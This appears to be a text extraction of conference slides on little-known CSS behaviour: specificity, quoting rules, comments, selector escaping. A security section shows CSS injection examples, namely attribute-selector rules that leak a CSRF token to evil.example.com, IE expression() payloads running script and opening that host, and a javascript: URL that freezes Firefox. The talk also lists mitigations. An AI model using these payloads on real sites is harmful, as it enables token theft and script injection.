3.14 things I didn’t know about CSS @ CSS Day 2014

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@mathias · #cssday 3.14 things I didn’t know about CSS

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@mathias

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!important

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!important .foo .bar { color: red; } .bar { color: green; }

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http://mths.be/bsh

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.foo .bar { color: red; } .bar { color: green !important; } !important

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http://mths.be/bsh

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.foo .bar { color: red; } .bar { color: green !important; } !important

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.foo .bar { color: red; } .bar { color: green !important; } !important ✘

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.foo .bar { color: red; } .bar.bar.bar.bar.bar.bar.bar.bar { color: green; } New !important best practice ✔ * not really *

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http://mths.be/bsh

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http://mths.be/bsh

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Font family names

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Font family names in CSS html {  font-family: 'Comic Sans MS';  } “If there’s whitespace in the font family name, it must be quoted.”

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Font family names in CSS html {  font-family: Comic Sans MS;  } “If there’s whitespace in the font family name, it must be quoted.” http://mths.be/bft

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Font family names in CSS html {  font-family: 456bereastreet;  }

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Font family names in CSS html {  font-family: 456bereastreet;  }

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Font family names in CSS html {  font-family: \34 56bereastreet;  }

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Font family names in CSS html {  font-family: '456bereastreet';  }

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http://mths.be/bjm

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Attribute values

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Attribute values … a[href="foo"] { background: hotpink; }

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Unquoted attribute values … a[href=foo] { background: hotpink; }

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Unquoted attribute values … a[href=foo|bar] { background: hotpink; }

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Unquoted attribute values … a[href=foo|bar] { background: hotpink; }

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Unquoted attribute values … a[href="foo|bar"] { background: hotpink; } http://mths.be/bal

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Unquoted attribute values http://mths.be/bjn

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Unquoted attribute values http://mths.be/bjn

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CSS comments

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CSS comments .some-selector { background: hotpink; /*color: red;*/ text-align: center; }

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CSS comments .some-selector { background: hotpink; /*color: red;*/ text-align: center; } ✔

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CSS comments .some-selector { background: hotpink; //color: red; text-align: center; }

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CSS comments .some-selector { background: hotpink; //color: red; text-align: center; } ✘

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CSS comments .some-selector { background: hotpink; //color: red; text-align: center; } ✔ http://mths.be/brz

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CSS comments .some-selector { background: hotpink; colour: red; text-align: center; } http://mths.be/brz

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CSS comments .some-selector { background: hotpink; colour: red; text-align: center; } http://mths.be/brz

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CSS comments .some-selector { background: hotpink; colour: red; text-align: center; } http://mths.be/brz

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✔ CSS comments .some-selector { background: hotpink; colour: red; text-align: center; } http://mths.be/brz

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http://mths.be/brz

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HTML tags

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Valid HTML       Foo      …   

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Valid HTML       Foo      …   

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Valid HTML       Huh?    … 

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Valid HTML       Huh?    … 

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Valid HTML   lolwut  … 

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Using CSS without HTML

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“No JS” http://mths.be/bsf

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http://mths.be/bsf

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http://mths.be/bsf

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CSS without HTML $ curl -i http://mathiasbynens.be/demo/css-without-html HTTP/1.1 200 OK Date: Wed, 04 Jun 2014 13:33:37 GMT Link: ;rel=stylesheet Content-Length: 0 Content-Type: text/html; charset=UTF-8 http://mths.be/bpe

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http://mths.be/bsb

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U̓ͬ̿͐̚ ͛̐ͩ̈́̀ͮ ̨͢ ̴ ̫̩͈̲̬̭̙͇͙ ̩̮̣ n ̅̒̽͊ͧ͆ͯͨ̍͊ ͜ ̡ ͜ ̧ ͖ ̲ ̣ ̬ ̳ ͅ ̘͖ ͅ ̗ i͆̿̉̄͒ͭ̉ͥͣ͑ ͏̶̨̛͔̲͈̪̹͎͓͖̙̖̖̯̯̫̙̫̙̦̜̀ç ̯̖̖̬̻̻͉ ̎ͪ̄̀͋̄͐̐̾ͮ̈ͫ̊͗̊́̚ ö́̃̈̾͊ͮ̓ͩͤ̊ͭ̒̅͋͒ͫ̿ ̢ ̕ ̢ ͕ 㸅 ̩͔͙ ̼ͅ 㸅 ̫̩̟̘̹ d͋ͧ͌ͤ ͜ ͘ ͞ ̻̹̪͓̥ e̎ͪ̓̄̓̾ ͢ ̛ ҉ ͍̮͔͍̮͍̳̬ ̊ ̅ͣ̽ͫ̚ ̃ͦͭ ̋͑ ̋ͬͣͬ ̑̒ ̊ ̷ ̩͉͎ ̥͙̹ i ̒͗ͤ̔̈́͑ͫͥ̂͐ͦ͊ͥ̉ ̧ ̛ ̥͓̞͎͉̩̩̪̜̝̮͈͚͚ ͍ n̴̊͊ͧ̌ ͜ ͕͍̩̥̩̪̞̜͓̜ ́ͤͮ̆͒ ҉ ̶ ̧̦ ̖̠̹̗̞̯̳ 㸅 C̎̒̓̊̂̑̐ͥ̂͌ ͛ ̀ ͞ ͡ ̸ ͠ ̦ ̭̲̘͈̥̪̹̟̤͎͉̹̤̳̦ S ͂ ̑ ̑͊ ̓ ̔͑ ͂ͧ͐ ͂ ̆ ̂͗ ̈͞ ̢ ̛ ̡͢ ̲ ̰ ̫̩ ̥ ͓ ̗͚̟͍̘̜̜ Ŝ̒̌̉ͭ̔ͣͣ̇͌̚ ̴ ̧͖̦ ̘̭͇̭̰̹̦

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Classes and IDs in HTML

…

legalese

HTML 4 lyfe, homes!

LOL

…

Warning: …

Outdated browser detected.

http://mths.be/afd

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Classes and IDs in HTML

Good luck styling me!

heh

huh

wat

http://mths.be/afd

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http://mths.be/bsc

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Escaping CSS selectors

#\#id { }

.\.class { }

#\#id\.class\:hover\{\} { } #\#id\.class\3A hover\{\} { }

.\[attr\=\'value\'\] { }

#\34 04-error { }

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Escaping CSS selectors

#© { } #\A9 { }

.— { } .\2665 { }

#“” { } #\201C \201D { }

.! { } .\1F4A9 { }

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Escaping CSS selectors http://mths.be/bsd

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http://mths.be/bpo

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http://mths.be/cssescape

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Escaping CSS selectors var $el = $('#' + location.hash); // … http://mths.be/cssescape

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Escaping CSS selectors var $el = $('#' + location.hash); // … var $a = $('a[href="' + someValue + '"]'); // … http://mths.be/cssescape

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Escaping CSS selectors var $el = $('#' + location.hash); // … var $a = $('a[href="' + someValue + '"]'); // … http://mths.be/cssescape ✘

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Escaping CSS selectors var $el = $('#' + CSS.escape(location.hash)); // … ! var $a = $('a[href="' + CSS.escape(someValue) + '"]'); // … http://mths.be/cssescape ✔

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Using CSS for $evil%

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XSS

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http://mths.be/bry

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Injection contexts p { color: <%= USER_COLOR %>; }

Hello <%= USER_NAME %>! View your account.

window.userID = <%= USER_ID %>;

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What’s the worst you can do if you have control over a page’s CSS?

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Injection contexts p { color: <%= USER_COLOR %>; }

Hello <%= USER_NAME %>! View your account.

window.userID = <%= USER_ID %>;

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Injection contexts p { color: <%= USER_COLOR %>; }

Hello <%= USER_NAME %>! View your account.

window.userID = <%= USER_ID %>;

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Stealing data from the DOM http://mths.be/bsj

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#csrf[value^="a"] { background: url(//evil.example.com/?v=a); } #csrf[value^="b"] { background: url(//evil.example.com/?v=b); } #csrf[value^="c"] { background: url(//evil.example.com/?v=c); } /* … */ Stealing data from the DOM http://mths.be/bsj

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http://mths.be/bsj

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http://mths.be/bsj

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http://mths.be/bsj

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#myDiv { background: hotpink; position: absolute; left: expression( document.body.clientWidth / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); }

Lorem ipsum

CSS Expressions in IE ≤ 7 http://mths.be/brw

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Lorem ipsum

CSS Expressions in IE ≤ 7 http://mths.be/brw

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* { width: expression( alert('XSS through CSS') ); } CSS Expressions in IE ≤ 7 http://mths.be/brw

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* { width: expression( alert('XSS through CSS') ); } CSS Expressions in IE ≤ 7 http://mths.be/brw

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* { width: expression( if (!window.done) alert('XSS through CSS'), window.done=1 ); } CSS Expressions in IE ≤ 7 http://mths.be/brw

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* { wtflol: expression( if (!window.done) open('http://evil.example.com/'), window.done=1 ); } CSS Expressions in IE ≤ 7 http://mths.be/brw

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IE’s legacy document modes http://mths.be/brx

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IE’s legacy document modes http://mths.be/brx

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Lorem ipsum

CSS Expressions in IE ≤ 10 http://mths.be/brx

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CSS Expressions in IE ≤ 10 http://mths.be/bpu

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1. sanitize user input before injecting it in a CSS context  2. disallow framing using the HTTP header  X-Frame-Options: DENY   3. use How to avoid CSS expression vulnerabilities? http://mths.be/bpu

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* { background: url('javascript:while(true){}'); } Freezing Firefox http://mths.be/bsa

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http://mths.be/brs

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http://mths.be/brs

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there’s more to CSS than & & the '

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there’s more to CSS than & & the '

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One More Thing™

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p i { color: black; } What band is this?

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p i { color: black; } What band is this? The Black ’d

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The Black ’d

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Thanks to: ! Simon Pieters Tab Atkins Martin Kool Mario Heiderich Frederik Braun Mike West Divya Manian

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Questions? @mathias